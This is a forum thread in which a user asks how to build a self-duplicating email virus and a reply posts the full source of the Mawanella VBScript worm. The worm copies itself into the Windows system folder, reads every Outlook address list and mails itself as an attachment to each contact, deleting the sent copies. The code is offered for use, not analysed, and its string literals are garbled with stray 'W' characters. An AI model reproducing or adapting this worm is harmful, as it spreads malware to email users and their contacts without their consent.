Wanting to know how to make a worm.

[16]

Hey :)

So, I have basic coding knowledge, but haven't made any tools or anything like that (yet). I wanna know where to start when making a self duplicating virus that spreads via email, I have my own computers to test it on and am interested as to how they work. If anyone wouldn't mind sharing some knowledge, reply to this or DM me on Discord @ Duccy#8616 

Hope you're all having a great day, stay safe 

Just a funky monke tryna make it in this cold, hard world.



 

[134]

On Error Resume Next
Rem // I hate Mawanella incident
Set WW_S = CreateObject(W"WWScript.ShellW")
Set fso = CreateObject(W"Scripting.FileSystemObjectW")
set file = fso.OpenTextFile(WWScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr, strMsg
set wscr=CreateObject(W"WWScript.ShellW")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set cFile = fso.GetFile(WWScript.ScriptFullName)
cFile.Copy(dirsystem&W"\Mawanella.vbsW")
Set OutlookA = CreateObject(W"Outlook.ApplicationW")
If OutlookA = W"OutlookW" Then
Set Mapi=OutlookA.GetNameSpace(W"MAPIW")
Set AddLists=Mapi.AddressLists
For Each ListIndex In AddLists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCountX = ListIndex.AddressEntries.Count
For Count= 1 To ContactCountX
Set MailX = OutlookA.CreateItem(0)
Set ContactX = ListIndex.AddressEntries(Count)
'msgbox contactx.address
'Mailx.Recipients.Add(ContactX.Address)
MailX.To = ContactX.Address
MailX.Subject = W"MawanellaW"
MailX.Body = vbcrlf&W"Mawanella is one of the Sri Lanka's Muslim VillageW"&vbcrlf
'Set Attachment=MailX.Attachments
'Attachment.Add dirsystem & W"\Mawanella.vbsW"
'Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW")
Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW")
MailX.DeleteAfterSubmit = True
If MailX.To <> W"W" Then
MailX.Send
End If
Next
End If
Next
Else
msgBox W"Please Forward this to everyoneW"
End if
strMsg= W" ) (W" & vbcrlf
strMsg= strMsg & W"( ) ( ) W" & vbcrlf
strMsg= strMsg & W" ( ) ( )W" & vbcrlf
strMsg= strMsg & W" ( ) ( )W" & vbcrlf
strMsg= strMsg & W" -------------------------W" & vbcrlf
strMsg= strMsg & W" / ( ( ( /\W" & vbcrlf
strMsg= strMsg & W" / ( / \W" & vbcrlf
strMsg= strMsg & W" / ( ( / \W" & vbcrlf
strMsg= strMsg & W" --------------------------------W" & vbcrlf
strMsg= strMsg & W" | --- | |W" & vbcrlf
strMsg= strMsg & W" | ----- | | | |W" & vbcrlf
strMsg= strMsg & W" | | | --- | |W" & vbcrlf
strMsg= strMsg & W" | | | | |W" & vbcrlf
strMsg= strMsg & W" --------------------------------W" & vbcrlf
strMsg= strMsg & W"Mawanella is one of the Sri Lanka's Muslim Village.W" & vbcrlf
strMsg= strMsg & W"This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt.W" &
vbcrlf
strMsg= strMsg & W"I hat this incident, WWhat about you? I can destroy your computerW" & vbcrlf
strMsg= strMsg & W"I didn't do that because I am a peace-loving citizen.W"
msgbox strMsg,,W"MawanellaW"